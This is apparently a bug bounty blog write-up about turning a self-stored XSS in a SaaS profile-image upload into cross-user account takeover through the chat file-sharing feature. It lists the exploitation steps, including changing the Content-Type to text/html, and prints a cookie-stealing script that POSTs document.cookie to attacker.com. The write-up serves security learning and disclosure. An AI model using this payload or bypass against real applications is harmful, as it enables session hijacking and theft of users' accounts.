Hi, let me introduce myself — I'm Kanishka Khandelwal. I'm currently working as an Associate Security Engineer, and apart from my day job, I spend most of my time doing bug bounty.

While testing different applications, I've learned one thing: Sometimes even the most "harmless" features like file upload can turn into critical vulnerabilities.

This is one such story.

Initial Testing

While testing a SaaS application, I started with basic functionality checks.

One feature caught my attention: 👉 Profile image upload

As usual, I tried uploading different file types and checking how the application handled them.

The First Breakthrough (Stored XSS)

Instead of uploading a normal image, I created a JPG file with malicious JavaScript embedded inside its metadata (EXIF data).

Then I intercepted the upload request using Burp Suite and modified:

Content-Type: image/jpeg  →  Content-Type: text/html

I forwarded the request…

And surprisingly — the application accepted it.

Result

When I opened the uploaded file:

💥 The JavaScript executed.

I got an alert popup.

Problem?

At this stage, it was just a self-Stored XSS 👉 Only I could trigger it 👉 No real impact

So I decided to go deeper.

Finding the Real Impact

While exploring further, I noticed something interesting:

👉 The application also had a chat feature 👉 Users could share files with other users

This changed everything.

Turning Low Impact into Critical

Now the idea was simple:

👉 Can I trigger this XSS in another user's browser?

Crafting the Payload

I modified the payload to exfiltrate cookies and embedded this into image metadata (using an EXIF tool )

<script>
fetch("https://attacker.com",{
  method:"POST",
  body:document.cookie
})
</script>

Exploitation Step-by-step(Cross-User Attack):

1. Open chat with another user
2. Upload the malicious image as an attachment
3. Intercept upload request → change Content-Type to text/html
4. File gets successfully stored
5. Victim opens the file.
6. Session cookies were exfiltrated to an attacker-controlled endpoint

What Happened ..?

💥 Payload executed in victim's browser 💥 Cookies sent to attacker-controlled server 💥 This could lead to session hijacking depending on cookie protections (e.g., HttpOnly, SameSite).

Impact

This was no longer a simple XSS. This led to:

• Account Takeover (ATO)
• Session Hijacking
• Unauthorized access to user accounts
• Exposure of sensitive session data

Root Cause

The issue existed because:

• File content-type was not validated properly
• Files were rendered as HTML instead of safe media
• Metadata was not sanitized
• No output encoding while rendering files

Final Thoughts

This bug is a perfect example of:

👉 "Low impact ≠ useless bug"

A simple stored XSS became a critical account takeover just by chaining it with another feature.

Bonus Insight

When testing:

• Don't stop at "it's just XSS"
• Always ask → Can this affect another user?
• Try chaining vulnerabilities

Because real-world impact comes from chaining, not isolated bugs.

Disclosure Experience

The platform did have a bug bounty / disclosure program.I reported the issue responsibly.They acknowledged the report initially and mentioned it would be fixed…But after that:

👉 No response 👉 No reward 👉 Issue silently fixed

A bit frustrating — but that's part of bug bounty.

THANK YOU

If you found this helpful, feel free to connect: LinkedIn: https://www.linkedin.com/in/kanishka-khandelwal-a49050263/

Or drop your thoughts in the comments…